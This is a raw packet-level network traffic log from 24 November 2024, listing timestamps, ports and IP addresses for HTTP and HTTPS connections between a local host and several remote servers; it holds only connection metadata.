Nov 24, 2024 23:24:38.718038082 CET	443	49833	13.107.246.40	192.168.2.5
Nov 24, 2024 23:24:38.718111992 CET	49833	443	192.168.2.5	13.107.246.40
Nov 24, 2024 23:24:38.718724012 CET	49833	443	192.168.2.5	13.107.246.40
Nov 24, 2024 23:24:38.718784094 CET	443	49833	13.107.246.40	192.168.2.5
Nov 24, 2024 23:24:38.719031096 CET	49833	443	192.168.2.5	13.107.246.40
Nov 24, 2024 23:24:38.719038963 CET	443	49833	13.107.246.40	192.168.2.5
Nov 24, 2024 23:24:38.747359037 CET	443	49831	13.107.246.40	192.168.2.5
Nov 24, 2024 23:24:38.748208046 CET	49834	443	192.168.2.5	13.107.246.40
Nov 24, 2024 23:24:38.751352072 CET	443	49836	13.107.246.40	192.168.2.5
Nov 24, 2024 23:24:38.755338907 CET	443	49835	13.107.246.40	192.168.2.5
Nov 24, 2024 23:24:38.763736963 CET	49836	443	192.168.2.5	13.107.246.40
Nov 24, 2024 23:24:38.763746023 CET	443	49836	13.107.246.40	192.168.2.5
Nov 24, 2024 23:24:38.763765097 CET	49835	443	192.168.2.5	13.107.246.40
Nov 24, 2024 23:24:38.763765097 CET	49833	443	192.168.2.5	13.107.246.40
Nov 24, 2024 23:24:38.763775110 CET	443	49835	13.107.246.40	192.168.2.5
Nov 24, 2024 23:24:38.778852940 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:38.778902054 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:38.778911114 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:38.778981924 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:38.779510021 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:38.779670954 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:38.779695988 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:38.779860973 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:38.780122042 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:38.780159950 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:38.780179024 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:38.780222893 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:38.781017065 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:38.781138897 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:38.781184912 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:38.781208038 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:38.781893969 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:38.781980991 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:38.781994104 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:38.782027006 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:38.782728910 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:38.782893896 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:38.782948971 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:38.783644915 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:38.783688068 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:38.783751965 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:38.784528017 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:38.784599066 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:38.784607887 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:38.784670115 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:38.785404921 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:38.785465002 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:38.785509109 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:38.785548925 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:38.786289930 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:38.786360025 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:38.786405087 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:38.786448002 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:38.786895990 CET	443	49830	13.107.246.63	192.168.2.5
Nov 24, 2024 23:24:38.786961079 CET	443	49830	13.107.246.63	192.168.2.5
Nov 24, 2024 23:24:38.787164927 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:38.787214994 CET	49830	443	192.168.2.5	13.107.246.63
Nov 24, 2024 23:24:38.787234068 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:38.787272930 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:38.787300110 CET	49830	443	192.168.2.5	13.107.246.63
Nov 24, 2024 23:24:38.787300110 CET	49830	443	192.168.2.5	13.107.246.63
Nov 24, 2024 23:24:38.787358999 CET	443	49830	13.107.246.63	192.168.2.5
Nov 24, 2024 23:24:38.787385941 CET	443	49830	13.107.246.63	192.168.2.5
Nov 24, 2024 23:24:38.787420988 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:38.788079023 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:38.788175106 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:38.788270950 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:38.788980961 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:38.789093971 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:38.789155960 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:38.789201975 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:38.789800882 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:38.789926052 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:38.789936066 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:38.790061951 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:38.790678978 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:38.790781975 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:38.790826082 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:38.790870905 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:38.791558027 CET	49843	443	192.168.2.5	13.107.246.63
Nov 24, 2024 23:24:38.791565895 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:38.791584015 CET	443	49843	13.107.246.63	192.168.2.5
Nov 24, 2024 23:24:38.791610956 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:38.791663885 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:38.791671038 CET	49843	443	192.168.2.5	13.107.246.63
Nov 24, 2024 23:24:38.791706085 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:38.792278051 CET	49843	443	192.168.2.5	13.107.246.63
Nov 24, 2024 23:24:38.792293072 CET	443	49843	13.107.246.63	192.168.2.5
Nov 24, 2024 23:24:38.792419910 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:38.792543888 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:38.792570114 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:38.792701960 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:38.793339968 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:38.793391943 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:38.793436050 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:38.793477058 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:38.794200897 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:38.794262886 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:38.794384956 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:38.794436932 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:38.795150042 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:38.795223951 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:38.795242071 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:38.795334101 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:38.795974016 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:38.796025991 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:38.796073914 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:38.796164989 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:38.796840906 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:38.796895981 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:38.796907902 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:38.796972990 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:38.797734976 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:38.797785044 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:38.797835112 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:38.797910929 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:38.798638105 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:38.798686981 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:38.798705101 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:38.798809052 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:38.799488068 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:38.799540997 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:38.799727917 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:38.799793005 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:38.800385952 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:38.800432920 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:38.800436020 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:38.800600052 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:38.801258087 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:38.801309109 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:38.801407099 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:38.801640034 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:38.802123070 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:38.802200079 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:38.802258015 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:38.802323103 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:38.803028107 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:38.803081989 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:38.803189039 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:38.803317070 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:38.803900003 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:38.804022074 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:38.804119110 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:38.804765940 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:38.804831028 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:38.804873943 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:38.804929972 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:38.805665970 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:38.805731058 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:38.805771112 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:38.805813074 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:38.806571960 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:38.806658030 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:38.806807995 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:38.806859970 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:38.808093071 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:38.808166027 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:38.808255911 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:38.808320045 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:38.809319973 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:38.809467077 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:38.809520006 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:38.809561968 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:38.810286045 CET	49836	443	192.168.2.5	13.107.246.40
Nov 24, 2024 23:24:38.810545921 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:38.810574055 CET	49835	443	192.168.2.5	13.107.246.40
Nov 24, 2024 23:24:38.810611010 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:38.810803890 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:38.810852051 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:38.811928988 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:38.811997890 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:38.812096119 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:38.812151909 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:38.813231945 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:38.813297033 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:38.813405037 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:38.813448906 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:38.814677954 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:38.814743996 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:38.814902067 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:38.815242052 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:38.815320969 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:38.815323114 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:38.815418005 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:38.815789938 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:38.815815926 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:38.815862894 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:38.815881014 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:38.816220045 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:38.816265106 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:38.816337109 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:38.816688061 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:38.816745996 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:38.816756010 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:38.816941977 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:38.817114115 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:38.817204952 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:38.817265034 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:38.817857981 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:38.817934036 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:38.817970991 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:38.818017960 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:38.818303108 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:38.818351030 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:38.818389893 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:38.818404913 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:38.818898916 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:38.818963051 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:38.819034100 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:38.819263935 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:38.819773912 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:38.819830894 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:38.819834948 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:38.819885015 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:38.820648909 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:38.820710897 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:38.820754051 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:38.820802927 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:38.821516991 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:38.821594954 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:38.821666002 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:38.841773033 CET	443	49838	13.107.246.63	192.168.2.5
Nov 24, 2024 23:24:38.842535973 CET	49838	443	192.168.2.5	13.107.246.63
Nov 24, 2024 23:24:38.842555046 CET	443	49838	13.107.246.63	192.168.2.5
Nov 24, 2024 23:24:38.843302011 CET	49838	443	192.168.2.5	13.107.246.63
Nov 24, 2024 23:24:38.843307018 CET	443	49838	13.107.246.63	192.168.2.5
Nov 24, 2024 23:24:38.878947020 CET	49844	443	192.168.2.5	104.117.182.56
Nov 24, 2024 23:24:38.878976107 CET	443	49844	104.117.182.56	192.168.2.5
Nov 24, 2024 23:24:38.879076004 CET	49845	443	192.168.2.5	104.117.182.56
Nov 24, 2024 23:24:38.879112959 CET	443	49845	104.117.182.56	192.168.2.5
Nov 24, 2024 23:24:38.879122972 CET	49844	443	192.168.2.5	104.117.182.56
Nov 24, 2024 23:24:38.879174948 CET	49845	443	192.168.2.5	104.117.182.56
Nov 24, 2024 23:24:38.879416943 CET	49846	443	192.168.2.5	104.117.182.56
Nov 24, 2024 23:24:38.879426956 CET	443	49846	104.117.182.56	192.168.2.5
Nov 24, 2024 23:24:38.879492998 CET	49846	443	192.168.2.5	104.117.182.56
Nov 24, 2024 23:24:38.879584074 CET	49847	443	192.168.2.5	104.117.182.56
Nov 24, 2024 23:24:38.879595041 CET	443	49847	104.117.182.56	192.168.2.5
Nov 24, 2024 23:24:38.879722118 CET	49847	443	192.168.2.5	104.117.182.56
Nov 24, 2024 23:24:38.879774094 CET	49848	443	192.168.2.5	104.117.182.56
Nov 24, 2024 23:24:38.879869938 CET	443	49848	104.117.182.56	192.168.2.5
Nov 24, 2024 23:24:38.879944086 CET	49848	443	192.168.2.5	104.117.182.56
Nov 24, 2024 23:24:38.879970074 CET	49844	443	192.168.2.5	104.117.182.56
Nov 24, 2024 23:24:38.879986048 CET	443	49844	104.117.182.56	192.168.2.5
Nov 24, 2024 23:24:38.880115986 CET	49845	443	192.168.2.5	104.117.182.56
Nov 24, 2024 23:24:38.880132914 CET	443	49845	104.117.182.56	192.168.2.5
Nov 24, 2024 23:24:38.880175114 CET	49846	443	192.168.2.5	104.117.182.56
Nov 24, 2024 23:24:38.880187988 CET	443	49846	104.117.182.56	192.168.2.5
Nov 24, 2024 23:24:38.880278111 CET	49847	443	192.168.2.5	104.117.182.56
Nov 24, 2024 23:24:38.880290985 CET	443	49847	104.117.182.56	192.168.2.5
Nov 24, 2024 23:24:38.880388021 CET	49848	443	192.168.2.5	104.117.182.56
Nov 24, 2024 23:24:38.880423069 CET	443	49848	104.117.182.56	192.168.2.5
Nov 24, 2024 23:24:38.901268005 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:38.901297092 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:38.901348114 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:38.901396036 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:38.901685953 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:38.901746035 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:38.901750088 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:38.901796103 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:38.902566910 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:38.902616024 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:38.902654886 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:38.902738094 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:38.903175116 CET	49849	443	192.168.2.5	18.161.34.125
Nov 24, 2024 23:24:38.903202057 CET	443	49849	18.161.34.125	192.168.2.5
Nov 24, 2024 23:24:38.903435946 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:38.903475046 CET	49849	443	192.168.2.5	18.161.34.125
Nov 24, 2024 23:24:38.903511047 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:38.903665066 CET	49849	443	192.168.2.5	18.161.34.125
Nov 24, 2024 23:24:38.903681040 CET	443	49849	18.161.34.125	192.168.2.5
Nov 24, 2024 23:24:38.980205059 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:38.980276108 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:38.980330944 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:38.980436087 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:38.980581999 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:38.980663061 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:38.980667114 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:38.980705976 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:38.981398106 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:38.981455088 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:38.981466055 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:38.981513023 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:38.982233047 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:38.982296944 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:38.982341051 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:38.982387066 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:38.983026028 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:38.983119965 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:38.983131886 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:38.983290911 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:38.983834982 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:38.983895063 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:38.983928919 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:38.983988047 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:38.984633923 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:38.984698057 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:38.984766006 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:38.984882116 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:38.985471010 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:38.985527992 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:38.985583067 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:38.985629082 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:38.986279964 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:38.986347914 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:38.986349106 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:38.986390114 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:38.987054110 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:38.987118006 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:38.987186909 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:38.987231970 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:38.987881899 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:38.987945080 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:38.988040924 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:38.988095045 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:38.988699913 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:38.988780022 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:38.988821030 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:38.988864899 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:38.989501953 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:38.989562988 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:38.989608049 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:38.989653111 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:38.990325928 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:38.990421057 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:38.990430117 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:38.990470886 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:38.991143942 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:38.991190910 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:38.991199970 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:38.991271973 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:38.991962910 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:38.992013931 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:38.992172956 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:38.992311001 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:38.992789030 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:38.992845058 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:38.992872000 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:38.992917061 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:38.993586063 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:38.993642092 CET	49760	80	192.168.2.5	185.215.113.206
